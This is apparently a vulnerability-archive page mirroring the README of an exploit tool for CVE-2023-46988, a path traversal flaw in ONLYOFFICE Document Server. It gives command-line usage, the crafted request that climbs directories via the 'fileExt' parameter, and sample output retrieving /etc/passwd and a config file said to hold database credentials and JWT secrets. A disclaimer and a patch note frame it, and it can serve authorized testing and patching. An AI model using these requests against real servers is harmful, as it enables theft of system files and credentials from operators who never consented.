目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-46988 PoC — Ascensio System ONLYOFFICE Document Server 安全漏洞

来源
关联漏洞
标题: Ascensio System ONLYOFFICE Document Server 安全漏洞 (CVE-2023-46988)
Description:Ascensio System ONLYOFFICE Document Server是拉脱维亚Ascensio System公司的一套在线办公协作套件。该产品支持文本、电子表格和演示文稿的查看和编辑等。 Ascensio System ONLYOFFICE Document Server 7.5.0及之前版本存在安全漏洞,该漏洞源于目录遍历,允许通过特制文件上传获取敏感信息。
Description
CVE-2023-46988: ONLYOFFICE Path Traversal Exploit
介绍
# ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)

## 📌 Overview

This script exploits a **path traversal vulnerability** in **ONLYOFFICE Document Server** (**CVE-2023-46988**) that allows unauthorized users to **copy arbitrary files** from the server. The vulnerability exists in the `/example/editor` endpoint, where the `fileExt` parameter can be manipulated to access sensitive system and configuration files.

## ⚠️ Disclaimer

This tool is for **educational and authorized security research purposes only**.  
Unauthorized use against systems without **explicit permission** is illegal and unethical.

## 🛠 Features

- Retrieve **default sensitive files**:
  - `/etc/passwd`
  - `/etc/onlyoffice/documentserver/local.json` (contains **database credentials & JWT secrets**)
- Specify **any file path** to retrieve with the `--file` argument.
- Supports **optional proxying** for Burp Suite interception (`--proxy`).
- Supports **optional SSL verification** (`--verify`).
- **Fixes encoding issues** when downloading files with special characters.

## 🚀 Usage

### **1️⃣ Basic Usage (Retrieve Default Files)**

```bash
python onlyoffice_exploit.py http://localhost
```

This retrieves:
- `/etc/passwd`
- `/etc/onlyoffice/documentserver/local.json`

### **2️⃣ Retrieve a Custom File (e.g., `/etc/hosts`)**

```bash
python onlyoffice_exploit.py http://localhost --file /etc/hosts
```

### **3️⃣ Enable Proxy (e.g., Burp Suite on `127.0.0.1:8080`)**

```bash
python onlyoffice_exploit.py http://localhost --proxy
```
```bash
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080
```

### **4️⃣ Enable SSL Verification**

```bash
python onlyoffice_exploit.py https://example.local --verify
```

### **5️⃣ Combine Proxy & SSL Verification**

```bash
python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify
```

## 🔍 How It Works

1. **Sends a request** to `/example/editor` with a malicious `fileExt` parameter:
   ```
   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   ```
2. **Extracts the redirect URL** from the response.
3. **Parses the redirected filename** from the response.
4. **Fixes encoding issues** for special characters in filenames.
5. **Downloads the file** from `/example/download?fileName=<extracted_filename>`.

## 🛠 Example Output

``` 
[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd
```

## 🔒 Mitigation

ONLYOFFICE has patched this vulnerability in their **February 2024 update**.  
Users should **update to the latest version** to protect their servers.

## 🐜 License

This project is licensed under the **MIT License** – see the [LICENSE](LICENSE) file for details.

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →